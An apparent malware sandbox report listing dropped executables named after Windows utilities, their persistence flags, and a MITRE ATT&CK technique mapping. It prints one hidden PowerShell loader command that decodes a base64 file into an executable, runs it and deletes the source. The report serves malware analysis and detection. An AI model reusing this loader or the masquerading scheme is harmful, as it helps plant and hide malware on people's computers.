C:\Users\Admin\AppData\Local\Temp\UpdateCache\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\UpdateCache\WinLock.exe" --guard
1⤵
- Executes dropped EXE
PID:2756

C:\Users\Admin\AppData\Roaming\ExitReset\Logs\hh.exe
C:\Users\Admin\AppData\Roaming\ExitReset\Logs\hh.exe
1⤵
- Executes dropped EXE
PID:4616

C:\ProgramData\MicrosoftService\DWWIN.EXE
"C:\ProgramData\MicrosoftService\DWWIN.EXE" --startup
1⤵
- Executes dropped EXE
PID:3304

C:\ProgramData\Microsoft OneDrive\Logs\replace.exe
"C:\ProgramData\Microsoft OneDrive\Logs\replace.exe" --guard
1⤵
- Executes dropped EXE
PID:5524

C:\Users\Admin\AppData\Local\Temp\TCD1A78.tmp\Logs\shrpubw.exe
"C:\Users\Admin\AppData\Local\Temp\TCD1A78.tmp\Logs\shrpubw.exe" --guard
1⤵
- Executes dropped EXE
PID:5556

C:\Users\Admin\AppData\Local\Temp\TCD1BB1.tmp\Logs\CheckNetIsolation.exe
C:\Users\Admin\AppData\Local\Temp\TCD1BB1.tmp\Logs\CheckNetIsolation.exe
1⤵
- Executes dropped EXE
PID:5644

C:\Users\Admin\AppData\Local\MicrosoftService\dccw.exe
C:\Users\Admin\AppData\Local\MicrosoftService\dccw.exe
1⤵
- Executes dropped EXE
PID:5692

C:\Users\Admin\AppData\Roaming\ExitReset\Logs\hh.exe
"C:\Users\Admin\AppData\Roaming\ExitReset\Logs\hh.exe" --startup
1⤵
- Executes dropped EXE
PID:5744

C:\ProgramData\MicrosoftService\DWWIN.EXE
"C:\ProgramData\MicrosoftService\DWWIN.EXE" --guard
1⤵
- Executes dropped EXE
PID:5816

C:\Users\Admin\AppData\Roaming\MountTrace\Logs\extrac32.exe
"C:\Users\Admin\AppData\Roaming\MountTrace\Logs\extrac32.exe" --startup
1⤵
- Executes dropped EXE
PID:5824

C:\Users\Admin\AppData\Roaming\ExitReset\Logs\hh.exe
"C:\Users\Admin\AppData\Roaming\ExitReset\Logs\hh.exe" --guard
1⤵
- Executes dropped EXE
PID:5924

C:\Users\Admin\AppData\Roaming\MountTrace\Logs\extrac32.exe
"C:\Users\Admin\AppData\Roaming\MountTrace\Logs\extrac32.exe" --guard
1⤵
- Executes dropped EXE
PID:5980

C:\Users\Admin\AppData\Local\MicrosoftService\dccw.exe
"C:\Users\Admin\AppData\Local\MicrosoftService\dccw.exe" --guard
1⤵
- Executes dropped EXE
PID:5988

C:\ProgramData\Microsoft OneDrive\Logs\replace.exe
"C:\ProgramData\Microsoft OneDrive\Logs\replace.exe" --startup
1⤵
- Executes dropped EXE
PID:5996

C:\Users\Admin\AppData\Local\Temp\TCD1BB1.tmp\Logs\CheckNetIsolation.exe
"C:\Users\Admin\AppData\Local\Temp\TCD1BB1.tmp\Logs\CheckNetIsolation.exe" --guard
1⤵
- Executes dropped EXE
PID:216

C:\ProgramData\MicrosoftService\DWWIN.EXE
C:\ProgramData\MicrosoftService\DWWIN.EXE
1⤵
- Executes dropped EXE
PID:6612

C:\Users\Admin\AppData\Local\Temp\UpdateCache\WinLock.exe
C:\Users\Admin\AppData\Local\Temp\UpdateCache\WinLock.exe
1⤵
- Executes dropped EXE
PID:6868

C:\Users\Admin\AppData\Roaming\MountTrace\Logs\extrac32.exe
C:\Users\Admin\AppData\Roaming\MountTrace\Logs\extrac32.exe
1⤵
- Executes dropped EXE
PID:6888

C:\Users\Admin\AppData\Roaming\FormatRepair\Logs\PasswordOnWakeSettingFlyout.exe
"C:\Users\Admin\AppData\Roaming\FormatRepair\Logs\PasswordOnWakeSettingFlyout.exe" --startup
1⤵
- Executes dropped EXE
PID:6988

C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\UpdateCache\vcredist_x86.exe
"C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\UpdateCache\vcredist_x86.exe" --startup
1⤵
- Executes dropped EXE
PID:7112

C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\auditpol.exe
"C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\auditpol.exe" --guard
1⤵
- Executes dropped EXE
PID:7128

C:\Users\Admin\AppData\Local\Temp\TCD1A78.tmp\Logs\shrpubw.exe
C:\Users\Admin\AppData\Local\Temp\TCD1A78.tmp\Logs\shrpubw.exe
1⤵
- Executes dropped EXE
PID:2292

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:5772

C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\UpdateCache\vcredist_x86.exe
"C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\UpdateCache\vcredist_x86.exe" --guard
1⤵
- Executes dropped EXE
PID:3312

C:\ProgramData\MicrosoftService\cacls.exe
"C:\ProgramData\MicrosoftService\cacls.exe" --startup
1⤵
- Executes dropped EXE
PID:7132

C:\Users\Admin\AppData\Roaming\FormatRepair\Logs\PasswordOnWakeSettingFlyout.exe
"C:\Users\Admin\AppData\Roaming\FormatRepair\Logs\PasswordOnWakeSettingFlyout.exe" --guard
1⤵
- Executes dropped EXE
PID:4480

C:\Users\Admin\AppData\Roaming\UseRemove\Logs\msra.exe
"C:\Users\Admin\AppData\Roaming\UseRemove\Logs\msra.exe" --guard
1⤵
- Executes dropped EXE
PID:4604

C:\Users\Admin\AppData\Roaming\UseRemove\Logs\msra.exe
"C:\Users\Admin\AppData\Roaming\UseRemove\Logs\msra.exe" --startup
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:6972

C:\Users\Admin\AppData\Local\Temp\3124306530\Logs\fixmapi.exe
"C:\Users\Admin\AppData\Local\Temp\3124306530\Logs\fixmapi.exe" --guard
1⤵
- Executes dropped EXE
PID:1720

C:\ProgramData\MicrosoftService\certutil.exe
"C:\ProgramData\MicrosoftService\certutil.exe" --guard
1⤵
- Executes dropped EXE
PID:4768

C:\Users\Admin\AppData\Local\Mozilla\Logs\systeminfo.exe
"C:\Users\Admin\AppData\Local\Mozilla\Logs\systeminfo.exe" --guard
1⤵
- Executes dropped EXE
- Gathers system information
PID:1312

C:\ProgramData\MicrosoftService\certutil.exe
"C:\ProgramData\MicrosoftService\certutil.exe" --startup
1⤵
- Executes dropped EXE
PID:5852

C:\Users\Admin\AppData\Local\MicrosoftService\RdpSaProxy.exe
"C:\Users\Admin\AppData\Local\MicrosoftService\RdpSaProxy.exe" --guard
1⤵
- Executes dropped EXE
PID:5556

C:\ProgramData\MicrosoftService\certutil.exe
C:\ProgramData\MicrosoftService\certutil.exe
1⤵
- Executes dropped EXE
PID:4636

C:\Users\Admin\AppData\Roaming\FormatRepair\Logs\PasswordOnWakeSettingFlyout.exe
C:\Users\Admin\AppData\Roaming\FormatRepair\Logs\PasswordOnWakeSettingFlyout.exe
1⤵
- Executes dropped EXE
PID:5968

C:\Users\Admin\AppData\Local\MicrosoftService\user.exe
"C:\Users\Admin\AppData\Local\MicrosoftService\user.exe" --guard
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5100

C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\auditpol.exe
C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\auditpol.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4780

C:\Users\Admin\AppData\Roaming\MountTrace\Logs\UpdateCache\extrac32.exe
"C:\Users\Admin\AppData\Roaming\MountTrace\Logs\UpdateCache\extrac32.exe" --guard
1⤵
- Executes dropped EXE
PID:5440

C:\Users\Admin\AppData\Local\MicrosoftService\credwiz.exe
"C:\Users\Admin\AppData\Local\MicrosoftService\credwiz.exe" --guard
1⤵
- Executes dropped EXE
PID:5332

C:\Users\Admin\AppData\Roaming\FormatRepair\Logs\UpdateCache\PasswordOnWakeSettingFlyout.exe
"C:\Users\Admin\AppData\Roaming\FormatRepair\Logs\UpdateCache\PasswordOnWakeSettingFlyout.exe" --guard
1⤵
- Executes dropped EXE
PID:2356

C:\ProgramData\MicrosoftService\ktmutil.exe
"C:\ProgramData\MicrosoftService\ktmutil.exe" --startup
1⤵
- Executes dropped EXE
PID:5176

C:\ProgramData\MicrosoftService\ktmutil.exe
"C:\ProgramData\MicrosoftService\ktmutil.exe" --guard
1⤵
- Executes dropped EXE
PID:3872

C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\ddodiag.exe
"C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\ddodiag.exe" --guard
1⤵
- Executes dropped EXE
PID:5576

C:\ProgramData\MicrosoftService\SecEdit.exe
"C:\ProgramData\MicrosoftService\SecEdit.exe" --guard
1⤵
- Executes dropped EXE
PID:5544

C:\Users\Admin\AppData\Roaming\UpdateWatch\UpdateCache\RestoreStop.exe
"C:\Users\Admin\AppData\Roaming\UpdateWatch\UpdateCache\RestoreStop.exe" --startup
1⤵
- Executes dropped EXE
PID:4480

C:\Users\Admin\AppData\Roaming\UseRemove\Logs\msra.exe
C:\Users\Admin\AppData\Roaming\UseRemove\Logs\msra.exe
1⤵
- Executes dropped EXE
PID:1872

C:\Users\Admin\AppData\Local\Temp\TCD19EE.tmp\Logs\odbcconf.exe
"C:\Users\Admin\AppData\Local\Temp\TCD19EE.tmp\Logs\odbcconf.exe" --guard
1⤵
- Executes dropped EXE
PID:3028

C:\Users\Admin\AppData\Local\MicrosoftService\mmgaserver.exe
"C:\Users\Admin\AppData\Local\MicrosoftService\mmgaserver.exe" --guard
1⤵
- Executes dropped EXE
PID:2192

C:\ProgramData\MicrosoftService\SecEdit.exe
"C:\ProgramData\MicrosoftService\SecEdit.exe" --startup
1⤵
- Executes dropped EXE
PID:5292

C:\Users\Admin\AppData\Roaming\MountTrace\Logs\UpdateCache\extrac32.exe
"C:\Users\Admin\AppData\Roaming\MountTrace\Logs\UpdateCache\extrac32.exe" --startup
1⤵
- Executes dropped EXE
PID:3196

C:\Users\Admin\AppData\Local\Temp\3124306530\Logs\fixmapi.exe
C:\Users\Admin\AppData\Local\Temp\3124306530\Logs\fixmapi.exe
1⤵
- Executes dropped EXE
PID:6292

C:\Users\Admin\AppData\Local\Mozilla\Logs\systeminfo.exe
C:\Users\Admin\AppData\Local\Mozilla\Logs\systeminfo.exe
1⤵
- Executes dropped EXE
- Gathers system information
PID:5436

C:\ProgramData\MicrosoftService\cacls.exe
"C:\ProgramData\MicrosoftService\cacls.exe" --guard
1⤵
- Executes dropped EXE
PID:3152

C:\Users\Admin\AppData\Roaming\UpdateWatch\UpdateCache\RestoreStop.exe
"C:\Users\Admin\AppData\Roaming\UpdateWatch\UpdateCache\RestoreStop.exe" --guard
1⤵
- Executes dropped EXE
PID:6044

C:\Users\Admin\AppData\Local\Temp\TCD1A04.tmp\Logs\WSManHTTPConfig.exe
"C:\Users\Admin\AppData\Local\Temp\TCD1A04.tmp\Logs\WSManHTTPConfig.exe" --guard
1⤵
- Executes dropped EXE
PID:5488

C:\Users\Admin\AppData\Local\MicrosoftService\RdpSaProxy.exe
C:\Users\Admin\AppData\Local\MicrosoftService\RdpSaProxy.exe
1⤵
- Executes dropped EXE
PID:4064

C:\Users\Admin\AppData\Roaming\FormatRepair\Logs\UpdateCache\PasswordOnWakeSettingFlyout.exe
"C:\Users\Admin\AppData\Roaming\FormatRepair\Logs\UpdateCache\PasswordOnWakeSettingFlyout.exe" --startup
1⤵
- Executes dropped EXE
PID:6160

C:\ProgramData\regid.1991-06.com.microsoft\Logs\ComputerDefaults.exe
"C:\ProgramData\regid.1991-06.com.microsoft\Logs\ComputerDefaults.exe" --guard
1⤵
- Executes dropped EXE
PID:6664

C:\Users\Admin\AppData\Roaming\Mozilla\Logs\explorer.exe
"C:\Users\Admin\AppData\Roaming\Mozilla\Logs\explorer.exe" --startup
1⤵
- Executes dropped EXE
PID:3764

C:\Users\Admin\AppData\Local\Temp\TCD1A21.tmp\Logs\dialer.exe
"C:\Users\Admin\AppData\Local\Temp\TCD1A21.tmp\Logs\dialer.exe" --guard
1⤵
- Executes dropped EXE
PID:3808

C:\ProgramData\regid.1991-06.com.microsoft\Logs\ComputerDefaults.exe
"C:\ProgramData\regid.1991-06.com.microsoft\Logs\ComputerDefaults.exe" --startup
1⤵
- Executes dropped EXE
PID:6612

C:\Users\Admin\AppData\Local\Temp\TCD1A3E.tmp\Logs\SystemPropertiesAdvanced.exe
"C:\Users\Admin\AppData\Local\Temp\TCD1A3E.tmp\Logs\SystemPropertiesAdvanced.exe" --guard
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:7132

C:\Users\Admin\AppData\Roaming\Mozilla\Logs\explorer.exe
"C:\Users\Admin\AppData\Roaming\Mozilla\Logs\explorer.exe" --guard
1⤵
- Executes dropped EXE
PID:4420

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -nop -w hidden -noni -c "$h=Get-Content '$env:TMP_HEX' -Raw; $h=$h -replace '[\r\n\s]',''; $b=[Convert]::FromBase64String($h); [System.IO.File]::WriteAllBytes('$env:TMP_EXE', $b); Start-Process '$env:TMP_EXE'; Remove-Item '$env:TMP_HEX' -ErrorAction SilentlyContinue;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5196

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 960eab329fa1c32ede5273324bb9afb9 R1glSjT2ekq9hZ+8LIQ5Mw.0.1.0.0.0
1⤵
PID:2004
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:1232

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task